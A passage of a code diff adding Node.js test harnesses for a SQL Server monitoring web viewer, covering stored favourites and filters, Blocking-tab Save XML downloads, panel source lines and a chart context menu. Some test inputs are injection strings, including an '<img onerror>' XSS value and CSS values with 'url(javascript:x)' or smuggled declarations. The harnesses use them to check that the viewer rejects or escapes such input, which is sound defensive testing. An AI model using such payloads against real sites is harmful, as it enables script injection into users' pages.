+  a.updateAttention([row(1, "2026-01-01T10:00:00"), row(1, "2026-01-01T10:05:00", { severity: "critical" }), row(2, "2026-01-01T10:00:00", { muted: true }), row(2, "2026-01-01T10:01:00", { severity: "resolution" }), row(4, "2026-01-01T10:00:00", { dismissed: true })]);
+  out.before = a.attentionFor(1);
+  out.mutedAndResolved = a.attentionFor(2);
+  out.dismissed = a.attentionFor(4);
+  a.acknowledge(1, Date.parse("2026-01-01T10:10:00Z"));
+  out.acked = a.attentionFor(1);
+  const b = load(st);
+  b.updateAttention([row(1, "2026-01-01T10:00:00"), row(1, "2026-01-01T10:05:00")]); // same rows after a reload
+  out.afterReloadSameRows = b.attentionFor(1);
+  b.updateAttention([row(1, "2026-01-01T10:20:00"), row(1, "2026-01-01T10:05:00")]); // a newer alert
+  out.afterNewer = b.attentionFor(1);
+  out.persistedCleared = load(st).isAcknowledged(1);
+} else if (scenario === "corrupt") {
+  const cases = {
+    garbage: "{not json",
+    arrayRoot: "[1,2,3]",
+    nullRoot: "null",
+    foreignVersion: JSON.stringify({ v: 99, ids: [1], acks: { 1: 5 }, colors: { critical: "#112233" }, collapsed: true }),
+    wrongTypes: JSON.stringify({ v: 1, ids: "x", acks: [1], colors: "red", collapsed: "yes" }),
+    badEntries: JSON.stringify({ v: 1, ids: [1, -2, "3", 4.5, null, 7], acks: { a: 1, "-1": 5, 2: "now", 3: 100 }, colors: { critical: "red", warning: "#12345", info: "url(x)" }, collapsed: 1 }),
+  };
+  out.results = {};
+  for (const [name, raw] of Object.entries(cases)) {
+    const st = makeStorage({ "darling.local.favorites.v1": raw, "darling.local.acks.v1": raw, "darling.local.severityColors.v1": raw, "darling.local.sidebar.v1": raw });
+    let a;
+    try { a = load(st); } catch (e) { out.results[name] = "THREW " + e.message; continue; }
+    a.updateAttention([row(1, "2026-01-01T10:00:00"), row(3, "2026-01-01T10:00:00")]);
+    out.results[name] = {
+      fav: [1, 3, 7].filter(a.isFavorite),
+      ack: [1, 2, 3].filter(a.isAcknowledged),
+      colors: [a.severityColor("critical"), a.severityColor("warning"), a.severityColor("info")],
+      collapsed: a.isSidebarCollapsed(),
+    };
+  }
+  const a = load(makeStorage({}, { throwOnRead: true }));
+  out.unreadable = { fav: a.isFavorite(1), collapsed: a.isSidebarCollapsed() };
+  const w = load(makeStorage({}, { throwOnWrite: true }));
+  w.toggleFavorite(5);
+  out.unwritableStillWorksInSession = w.isFavorite(5);
+  const n = vm.runInContext(source + ";isFavorite(1)", vm.createContext({ console, Date })); // no localStorage at all
+  out.noStorage = n;
+} else if (scenario === "colors") {
+  const st = makeStorage();
+  const a = load(st);
+  a.setSeverityColor("critical", "#AABBCC");
+  out.good = a.severityColor("critical");
+  for (const bad of ["red", "#abc", "#gggggg", "url(javascript:x)", "#aabbcc;x:y", "#aabbccdd", 5, null]) {
+    a.setSeverityColor("warning", "#112233");
+    a.setSeverityColor("warning", bad);
+  }
+  out.afterBad = a.severityColor("warning");
+  a.setSeverityColor("nonsense", "#112233");
+  out.unknownSeverity = a.severityColor("nonsense");
+  const props = {};
+  a.applySeverityColors({ setProperty: (k, v) => { props[k] = v; }, removeProperty: (k) => { delete props[k]; } });
+  out.props = props;
+  out.afterReload = load(st).severityColor("critical");
+  // a hand-edited stored value is dropped on load
+  st.data[a.KEY_SEVERITY_COLORS] = JSON.stringify({ v: 1, colors: { critical: "red; background:url(x)", warning: "#00ff00" } });
+  const b = load(st);
+  out.handEdited = [b.severityColor("critical"), b.severityColor("warning")];
+} else if (scenario === "sidebar") {
+  const st = makeStorage();
+  const a = load(st);
+  out.initial = a.isSidebarCollapsed();
+  a.setSidebarCollapsed(true);
+  out.afterReload = load(st).isSidebarCollapsed();
+  a.setSidebarCollapsed(false);
+  out.afterExpand = load(st).isSidebarCollapsed();
+} else if (scenario === "oneRead") {
+  const st = makeStorage();
+  const a = load(st);
+  let reads = 0;
+  const readTool = async (tool, params) => { reads++; return { kind: "data", data: { alerts: [row(1, "2026-01-01T10:00:00")], tool, params } }; };
+  await a.refreshAttention(readTool, 1000);
+  await a.refreshAttention(readTool, 2000);
+  out.readsWithinTtl = reads;
+  out.count = a.attentionFor(1).count;
+  await a.refreshAttention(readTool, 100000);
+  out.readsAfterTtl = reads;
+  await a.refreshAttention(async () => ({ kind: "error" }), 300000);
+  out.countAfterFailedRead = a.attentionFor(1).count;
+} else if (scenario === "dbFilter") {
+  /* #5245: the server page's database filter, per server id, in the same storage discipline as the rest. */
+  const six = ["A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>"];
+  const st = makeStorage();
+  const a = load(st);
+  out.none = a.getDatabaseFilter(3);
+  out.setSix = a.setDatabaseFilter(3, six);
+  a.setDatabaseFilter(4, ["Other"]);
+  out.perId = [a.getDatabaseFilter(3), a.getDatabaseFilter(4), a.getDatabaseFilter(5)];
+  const b = load(st); // reloaded
+  out.afterReload = b.getDatabaseFilter(3);
+  out.stored = JSON.parse(st.data[a.KEY_DB_FILTER]);
+  out.noCopyLeak = (() => { const got = b.getDatabaseFilter(3); got.push("zzz"); return b.getDatabaseFilter(3).length; })();
+  // Clearing: an empty set removes the entry and leaves the other server's.
+  b.setDatabaseFilter(3, []);
+  out.afterClear = [load(st).getDatabaseFilter(3), load(st).getDatabaseFilter(4)];
+  // Exactly the names given: duplicates dropped, order kept, nothing trimmed or folded.
+  b.setDatabaseFilter(6, ["b", "B", "b", " b"]);
+  out.exact = load(st).getDatabaseFilter(6);
+  // The 50 cap: 50 is kept, 51 is refused and changes nothing.
+  const names = (n) => Array.from({ length: n }, (_, i) => "db" + i);
+  out.set50 = b.setDatabaseFilter(7, names(50));
+  out.len50 = load(st).getDatabaseFilter(7).length;
+  out.set51 = b.setDatabaseFilter(7, names(51));
+  out.len51Kept = load(st).getDatabaseFilter(7).length;
+  // A stored set over either bound reads as none, never as a truncated set.
+  const raw = (servers) => makeStorage({ [a.KEY_DB_FILTER]: JSON.stringify({ v: 1, servers }) });
+  out.stored51 = load(raw({ 9: names(51) })).getDatabaseFilter(9);
+  const long = Array.from({ length: 50 }, (_, i) => String(i).padStart(2, "0") + "\u4e2d".repeat(60)); // 50 names, 9 bytes a char encoded
+  out.longBytes = a.databaseQueryBytes(long[0]);
+  out.storedOverBudget = load(raw({ 9: long })).getDatabaseFilter(9);
+  out.setOverBudget = b.setDatabaseFilter(8, long);
+  out.overBudgetKept = load(st).getDatabaseFilter(8);
+  const fit = Array.from({ length: 7 }, (_, i) => String(i).padStart(2, "0") + "\u4e2d".repeat(60));
+  out.fitsBytes = fit.reduce((s, n) => s + a.databaseQueryBytes(n), 0);
+  out.fitSet = b.setDatabaseFilter(8, fit);
+  // Version mismatch, corrupt and hand-edited values read as none and never throw.
+  out.foreignVersion = load(makeStorage({ [a.KEY_DB_FILTER]: JSON.stringify({ v: 2, servers: { 3: ["A"] } }) })).getDatabaseFilter(3);
+  out.garbage = load(makeStorage({ [a.KEY_DB_FILTER]: "{not json" })).getDatabaseFilter(3);
+  out.wrongTypes = [
+    load(raw({ 3: "A" })).getDatabaseFilter(3),
+    load(raw({ 3: [1, null, ""] })).getDatabaseFilter(3),
+    load(raw({ x: ["A"], 0: ["A"], "-1": ["A"] })).getDatabaseFilter(1),
+    load(makeStorage({ [a.KEY_DB_FILTER]: JSON.stringify({ v: 1, servers: ["A"] }) })).getDatabaseFilter(3),
+  ];
+  out.badId = [a.setDatabaseFilter(0, ["A"]), a.setDatabaseFilter("3", ["A"]), a.setDatabaseFilter(-1, ["A"])];
+  // Private mode: the choice holds for this page load only.
+  const t = load(makeStorage({}, { throwOnWrite: true }));
+  out.setNoStorage = t.setDatabaseFilter(3, ["A"]);
+  out.heldNoStorage = t.getDatabaseFilter(3);
+} else {
+  throw new Error("unknown scenario " + scenario);
+}
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-blocking-save-xml-harness.mjs b/Darling/Darling.Tests/web-blocking-save-xml-harness.mjs
new file mode 100644
index 0000000000..91e4d2996d
--- /dev/null
+++ b/Darling/Darling.Tests/web-blocking-save-xml-harness.mjs
@@ -0,0 +1,176 @@
+/* Runs the web viewer's Blocking tab "Deadlock Graphs" and "Blocked Process Reports" panels (server-tabs.js with util.js,
+   panels.js, charts.js and grid-tools.js) against scripted get_deadlock_detail and get_blocked_process_xml answers, clicks a
+   row's Save XML button, and prints the headers it drew and the downloads it made (Blob type, text, file name) as one line
+   of JSON. WebBlockingSaveXmlBehaviourTests starts it as
+       node web-blocking-save-xml-harness.mjs <path to wwwroot/js> <scenario>
+   The DOM and fetch are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.open = false;
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+    if (name === "open") this.open = true;
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+const downloads = [];
+let lastBlob = null;
+globalThis.URL.createObjectURL = (blob) => {
+  lastBlob = blob;
+  return "blob:test";
+};
+globalThis.URL.revokeObjectURL = () => {};
+globalThis.document = {
+  body: new FakeNode("body"),
+  createElement: (tag) => {
+    const n = new FakeNode(tag);
+    if (tag === "a") n.click = () => downloads.push({ name: n.download, blob: lastBlob });
+    return n;
+  },
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let answer = () => ({ status: 200, body: {} });
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "blocking-save-xml-"));
+let modules;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = { util: await load("util.js"), tabs: await load(path.join("pages", "server-tabs.js")) };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const data = (body) => ({ status: 200, body });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+
+const deadlock = (over) => ({
+  collection_time: "2026-07-01T10:00:06.0000000",
+  deadlock_time: "2026-07-01T10:00:05.0000000",
+  victim_process_id: "process1",
+  dedup_key: "k1",
+  processes: [],
+  processes_truncated: 0,
+  deadlock_graph_xml: "<deadlock-list><deadlock/></deadlock-list>",
+  deadlock_graph_xml_truncated: false,
+  ...over,
+});
+const report = { event_time: "2026-07-01T11:02:03.0000000", database_name: "AppDb", blocked_spid: 55, blocking_spid: 60, wait_time_ms: 900, blocked_process_report_xml: "<blocked-process-report/>" };
+
+const all = (node, tag, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (node.tag === tag) found.push(node);
+  node.children.forEach((c) => all(c, tag, found));
+  return found;
+};
+
+async function buildPanels(deadlocks, reports) {
+  answer = (url) => {
+    const t = tool(url);
+    if (t === "get_deadlock_detail") return data({ server: "SRV1", deadlocks });
+    if (t === "get_blocked_process_xml") return data({ server: "SRV1", reports });
+    return data({});
+  };
+  const tab = modules.tabs.SERVER_TABS.find((t) => t.id === "blocking");
+  const root = new FakeNode("main");
+  modules.util.mount(root, tab.build("SRV1", { hours: 24, label: "last 24 hours" }).filter((n) => n && typeof n === "object"));
+  for (let i = 0; i < 200; i++) await new Promise((r) => setTimeout(r, 0));
+  const find = (title) => root.children.find((n) => n.textContent.startsWith(title)) || null;
+  return { deadlockPanel: find("Deadlock Graphs"), bprPanel: find("Blocked Process Reports") };
+}
+
+const saveButtons = (panel) => all(panel, "button").filter((b) => b.textContent === "Save XML");
+const headers = (panel) => all(panel, "th").map((th) => th.textContent);
+async function describeDownload(d) {
+  return { name: d.name, type: d.blob.type, text: await d.blob.text() };
+}
+
+const out = { rejections };
+if (scenario === "save") {
+  const { deadlockPanel, bprPanel } = await buildPanels([deadlock()], [report]);
+  out.bprHeaders = headers(bprPanel);
+  out.deadlockHeaders = headers(deadlockPanel);
+  const bpr = saveButtons(bprPanel)[0];
+  const dl = saveButtons(deadlockPanel)[0];
+  out.bprDisabledBefore = !!bpr.disabled;
+  bpr.listeners.click[0]();
+  dl.listeners.click[0]();
+  out.downloads = await Promise.all(downloads.map(describeDownload));
+  out.fetches = fetches.filter((f) => f.includes("get_blocked_process_xml") || f.includes("get_deadlock_detail")).length;
+} else if (scenario === "truncated") {
+  const { deadlockPanel } = await buildPanels([deadlock({ deadlock_graph_xml_truncated: true, deadlock_graph_xml: "<deadlock-list><dead" })], [report]);
+  const dl = saveButtons(deadlockPanel)[0];
+  out.disabled = !!dl.disabled;
+  out.title = dl.getAttribute("title");
+  out.hasClick = !!(dl.listeners.click && dl.listeners.click.length);
+  out.downloads = downloads.length;
+} else if (scenario === "noxml") {
+  const { bprPanel } = await buildPanels([deadlock()], [{ ...report, blocked_process_report_xml: null }]);
+  const b = saveButtons(bprPanel)[0];
+  out.disabled = !!b.disabled;
+  out.hasClick = !!(b.listeners.click && b.listeners.click.length);
+} else {
+  throw new Error("unknown scenario " + scenario);
+}
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-blocking-source-harness.mjs b/Darling/Darling.Tests/web-blocking-source-harness.mjs
new file mode 100644
index 0000000000..e1e4d2b3b9
--- /dev/null
+++ b/Darling/Darling.Tests/web-blocking-source-harness.mjs
@@ -0,0 +1,160 @@
+/* Runs the blocking panels' source line on the web viewer (#5244): wwwroot/js/panels.js (renderPanel), pages/server-tabs.js (line()
+   and fanout) and util.js (sourceStrip), with a stand-in DOM and a stub fetch that answers get_blocking_trend and get_blocking_stats
+   with the scenario's body. It prints, for every panel of every SQL Server tab, the source lines drawn and their text.
+   WebBlockingSourceBehaviourTests starts it as
+       node web-blocking-source-harness.mjs <path to wwwroot/js> <scenario>
+   The whole js tree is copied into a scratch folder first, then charts.js (the SVG renderer needs a real browser) is replaced. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+const scenario = process.argv[3];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+globalThis.location = { hash: "#/server/SRV1" };
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "database-filter-chips-"));
+let util;
+let panels;
+let tabs;
+try {
+  /* The whole js tree (js/, js/pages/ and every subdirectory) is copied rather than a hand-kept list (#5279); every stand-in
+     below is written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    "export const SERIES_COLORS = ['#111', '#222', '#333', '#444', '#555', '#666'];\n" +
+      "export const CATEGORICAL_COLORS = SERIES_COLORS;\n" +
+      "export function normalizeColor(color) { return color; }\n" +
+      "export function renderLineChart() { return document.createElement('div'); }\n" +
+      "export function zoomableLineChart() { return document.createElement('div'); }\n" +
+      "export function chartZoomScope() { return ''; }\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  util = await load("util.js");
+  panels = await load("panels.js");
+  tabs = await load(path.join("pages", "server-tabs.js"));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+
+const ROWS = [{ time: "2026-01-01T00:00:00.0000000Z", count: 2 }];
+const STAT_ROWS = [{ time: "2026-01-01T00:00:00.0000000Z", event_count: 2, total_duration_ms: 500, max_duration_ms: 300, avg_duration_ms: 250 }];
+const bodiesFor = (source) => ({
+  trend: { source, trend: ROWS },
+  stats: { source, blocking_duration: STAT_ROWS, deadlock_severity: [] },
+});
+/* What each scenario's two reads answer: the trend (rows under `trend`) and the stats (rows under `blocking_duration`). */
+const BODIES = {
+  xe: bodiesFor("blocked-process-report"),
+  dmv: bodiesFor("DMV snapshot"),
+  /* Rows, but no source on the answer: nothing to name. */
+  noSource: bodiesFor(null),
+  /* A value that is neither tag is not drawn, and is never read as markup. */
+  other: bodiesFor("<b>x</b>"),
+  /* The read found nothing: zero rows with a null source, and the {status, message} envelope. */
+  zeroRows: {
+    trend: { source: null, trend: [] },
+    stats: { source: null, blocking_duration: [], deadlock_severity: [] },
+  },
+  envelope: {
+    trend: { status: "empty", message: "No blocking." },
+    stats: { status: "empty", message: "No blocking." },
+  },
+};
+
+const settle = async () => {
+  for (let i = 0; i < 200; i++) await new Promise((r) => setImmediate(r));
+};
+const walk = (node, visit) => {
+  visit(node);
+  for (const c of node.children) walk(c, visit);
+};
+const hasClass = (node, name) => String(node.className).split(" ").includes(name);
+
+/* Every panel under the root: its title (the h3's first child) and the source lines inside it. */
+const panelsOf = (root) => {
+  const found = [];
+  walk(root, (node) => {
+    if (!hasClass(node, "panel")) return;
+    const h3 = node.children.find((c) => c.tag === "h3");
+    const strips = [];
+    walk(node, (x) => {
+      if (hasClass(x, "source")) strips.push(x.textContent);
+    });
+    found.push({ title: h3 && h3.children[0] ? h3.children[0].textContent : "", strips });
+  });
+  return found;
+};
+
+const body = BODIES[scenario];
+if (!body) throw new Error("unknown scenario " + scenario);
+globalThis.fetch = async (url) => {
+  const u = String(url);
+  const answer = u.includes("/get_blocking_trend") ? body.trend : u.includes("/get_blocking_stats") ? body.stats : {};
+  return { status: 200, ok: true, text: async () => JSON.stringify(answer) };
+};
+
+const out = [];
+for (const tab of tabs.SERVER_TABS) {
+  const holder = new FakeNode("div");
+  util.mount(holder, tab.build("SRV1", { hours: 24, label: "last 24 hours" }));
+  await settle();
+  for (const p of panelsOf(holder)) out.push({ tab: tab.id, ...p });
+}
+console.log(JSON.stringify({ panels: out, rejections }));
diff --git a/Darling/Darling.Tests/web-chart-at-time-harness.mjs b/Darling/Darling.Tests/web-chart-at-time-harness.mjs
new file mode 100644
index 0000000000..347651abe9
--- /dev/null
+++ b/Darling/Darling.Tests/web-chart-at-time-harness.mjs
@@ -0,0 +1,444 @@
+/* Runs the web viewer's shipped charts.js against a stand-in DOM and checks the chart menu's "at This Time" items: a
+   right-click on a server-tab chart (spec.atTime = { server, item }) offers the ONE item that matches the chart (Show
+   Blocking, Show Deadlocks, or Show Active Queries by default) at This Time, and the item sets the server's custom range
+   to the time of the drawn point nearest the click +- 30 minutes, moves the hash to that tab and, once the router has built
+   it, scrolls the item's own grid into view. Prints the findings as one line of JSON.
+   WebChartAtTimeBehaviourTests starts it as
+       node web-chart-at-time-harness.mjs <path to wwwroot/js>
+   Every .js under js/ and js/pages/ is copied into the scratch directory (a hand-kept list breaks whenever a page
+   module is added). The menu checks replace the scratch pages/server.js with a recording stand-in; the range check
+   loads the shipped pages/server.js and asks its own resolveCustomRange whether the pair is taken. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(child) { this.children.push(child); return child; }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) { this.attrs[name] = String(value); }
+  getAttribute(name) { return name in this.attrs ? this.attrs[name] : null; }
+  addEventListener(type, listener) { (this.listeners[type] = this.listeners[type] || []).push(listener); }
+  removeEventListener() {}
+  contains(n) { return n === this || this.children.some((c) => c.contains(n)); }
+  setPointerCapture() {}
+  focus() {}
+  click() {}
+  get offsetWidth() { return this.attrs.role === "menu" ? 176 : 0; }
+  get offsetHeight() { return this.attrs.role === "menu" ? 100 : 0; }
+  replaceChild(next, old) { const i = this.children.indexOf(old); if (i >= 0) this.children[i] = next; return old; }
+  /* The drawn plot svg reports the size it was drawn at (one SVG unit is one CSS pixel, 300 px high); any other node is 1000 wide. */
+  getBoundingClientRect() {
+    if (this.tag === "svg" && this.attrs.width) return { left: 0, top: 0, width: Number(this.attrs.width), height: Number(this.attrs.height) };
+    return { left: 0, top: 0, width: 1000, height: 300 };
+  }
+  set textContent(value) { this.children = []; this.text = String(value); }
+  get textContent() { return (this.text || "") + this.children.map((c) => c.textContent).join(""); }
+}
+
+globalThis.Node = FakeNode;
+/* The page's panel headings, as the router builds them (see runHashchange): div.panel.card > h3 with the title first. */
+let panelHeads = [];
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+  body: new FakeNode("body"),
+  addEventListener() {},
+  removeEventListener() {},
+  querySelectorAll: (selector) => (selector === ".panel > h3" ? panelHeads : []),
+};
+globalThis.window = globalThis;
+
+/* A ResizeObserver for the measured-width case only (#5586): while globalThis.__plotW is set, a watched plot box reports that
+   width as the chart is built, as the browser does once it has laid the chart out. Every other case runs with no report, so it
+   keeps the default width (1000). */
+globalThis.ResizeObserver = class {
+  constructor(cb) { this.cb = cb; }
+  observe(target) {
+    if (!globalThis.__plotW) return;
+    target.isConnected = true;
+    this.cb([{ contentRect: { width: globalThis.__plotW, height: 300 } }]);
+  }
+  disconnect() {}
+};
+
+/* The page's hash. The browser fires hashchange, a task later, when the hash is set to a NEW value, and nothing when it is
+   set to the value it already holds (goToTime raises the event itself then, through window.dispatchEvent, counted below).
+   A hashchange runs the router's listener first (app.js adds it at start-up; renderServer paints the tab synchronously),
+   which is modelled here as building the panels of the tab the hash names, then the other listeners in the order they were
+   added; a { once: true } listener goes after it runs. */
+let hashValue = "#/server/A/cpu";
+const hashListeners = [];
+const scrolls = [];
+const panelHead = (title, index) => {
+  const head = new FakeNode("h3");
+  head.appendChild(new FakeNode("#text", title));
+  head.appendChild(new FakeNode("span", " last 24 hours"));
+  head.parentNode = { scrollIntoView: (options) => scrolls.push({ title, index, block: options && options.block }) };
+  return head;
+};
+const tabPanels = {
+  queries: ["Active Queries"],
+  /* The Blocking tab in its order: the Deadlocks chart (1) and the Deadlocks grid (3) share a title. */
+  blocking: ["Blocking Events", "Deadlocks", "Blocking", "Deadlocks", "Waiting Tasks", "Blocked Sessions", "Lock Waits", "Blocking Severity", "Deadlock Severity", "Deadlock Graphs", "Blocked Process Reports"],
+};
+const runHashchange = () => {
+  panelHeads = (tabPanels[hashValue.split("/").pop()] || []).map((title, index) => panelHead(title, index));
+  for (const l of hashListeners.slice()) {
+    if (l.once) hashListeners.splice(hashListeners.indexOf(l), 1);
+    l.fn();
+  }
+};
+globalThis.location = {
+  get hash() { return hashValue; },
+  set hash(value) {
+    if (value === hashValue) return;
+    hashValue = value;
+    setTimeout(runHashchange, 0);
+  },
+};
+/* A move the harness makes between cases, which the page never sees as a hashchange. */
+const jump = (value) => {
+  hashValue = value;
+};
+globalThis.addEventListener = (type, fn, options) => {
+  if (type === "hashchange") hashListeners.push({ fn, once: !!(options && options.once) });
+};
+
+const scratch = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), "chart-at-time-")));
+let charts;
+const out = {};
+/* The browser fires no hashchange when the hash is set to the value it already holds, so goToTime raises the event itself
+   on the tab already open (window.dispatchEvent). Counted here, and run like the browser's own; the router that listens for
+   it is not under test. */
+globalThis.dispatchEvent = () => {
+  out.dispatched = (out.dispatched || 0) + 1;
+  runHashchange();
+};
+try {
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+
+  /* The range check first, against the shipped server.js, in a copy of its own (the menu checks below swap that file). */
+  try {
+    const shipped = path.join(scratch, "shipped");
+    fs.mkdirSync(shipped);
+    fs.writeFileSync(path.join(shipped, "package.json"), '{ "type": "module" }');
+    fs.cpSync(jsDir, shipped, { recursive: true });
+    const server = await import(pathToFileURL(path.join(shipped, "pages", "server.js")).href);
+    const tc = Date.UTC(2026, 0, 1, 12, 0, 0);
+    const half = 30 * 60000;
+    const r = server.resolveCustomRange(tc - half, tc + half, Date.UTC(2026, 0, 2));
+    out.shippedRangeTaken = !r.error && r.hours === 1;
+    out.shippedRangeError = r.error || null;
+  } catch (e) {
+    out.shippedRangeTaken = null;
+    out.shippedRangeError = "could not load pages/server.js: " + (e && e.message ? e.message : e);
+  }
+
+  /* The menu checks: a copy whose pages/server.js is a recording stand-in for the module the menu items import. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(
+    path.join(scratch, "pages", "server.js"),
+    'export const calls = []; export function applyCustomRange(server, startMs, endMs, nowMs, { redraw = true } = {}) { calls.push({ server, startMs, endMs, redraw, hash: globalThis.location.hash }); return globalThis.__rangeError || null; }\n'
+  );
+  charts = await import(pathToFileURL(path.join(scratch, "charts.js")).href);
+  var stub = await import(pathToFileURL(path.join(scratch, "pages", "server.js")).href);
+} catch (e) {
+  fs.rmSync(scratch, { recursive: true, force: true });
+  throw e;
+}
+
+const find = (node, pred, res = []) => {
+  if (pred(node)) res.push(node);
+  node.children.forEach((c) => find(c, pred, res));
+  return res;
+};
+const T0 = Date.UTC(2026, 0, 1, 0, 0, 0);
+const MIN = 60000;
+const points = Array.from({ length: 11 }, (_, i) => ({ t: new Date(T0 + i * MIN).toISOString().slice(0, 19), a: i }));
+const series = [{ key: "a", label: "Alpha", color: "#fff" }];
+const spec = (extra) => ({ points, xKey: "t", series, windowStart: T0, windowEnd: T0 + 10 * MIN, ...extra });
+const btn = (host) => find(host, (n) => n.tag === "button" && n.attrs["aria-label"] === "Chart menu")[0];
+const items = (host) => find(host, (n) => n.attrs.role === "menuitem");
+const labels = (host) => items(host).map((n) => n.textContent);
+const chartDiv = (host) => find(host, (n) => String(n.className) === "chart")[0];
+const plotNode = (host) => find(host, (n) => n.tag === "svg")[0];
+/* A right-click lands on a node: the plot's svg unless a case names another (the legend, the status line, the button, the menu). */
+const rightClick = (host, x, target = plotNode(host), y = 20) =>
+  chartDiv(host).listeners.contextmenu[0]({ preventDefault() {}, clientX: x, clientY: y, target });
+const closeMenu = (host) => {
+  const m = find(host, (n) => n.attrs.role === "menu")[0];
+  if (m) m.listeners.keydown[0]({ key: "Escape", preventDefault() {} });
+};
+const settle = () => new Promise((r) => setTimeout(r, 60));
+const scope = charts.chartZoomScope(4);
+
+/* x = 521 viewBox px is the middle of the plot (58 .. 984) and lands exactly on the point at T0 + 5 min (one point a
+   minute), so the clicked time is T0 + 5 min. */
+const a = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t1", scope);
+rightClick(a, 521);
+out.rightClickItems = labels(a);
+/* A chart offers only the item that matches it, as the desktop does: atTime.item names it, and Active Queries is the
+   default, for a chart that names none (a above) and for a name the page does not know. */
+const blk = charts.zoomableLineChart(spec({ title: "Blocking Events", atTime: { server: "A", item: "blocking" } }), "t10", scope);
+rightClick(blk, 521);
+out.blockingItems = labels(blk);
+const dl = charts.zoomableLineChart(spec({ title: "Deadlocks", atTime: { server: "A", item: "deadlocks" } }), "t11", scope);
+rightClick(dl, 521);
+out.deadlockItems = labels(dl);
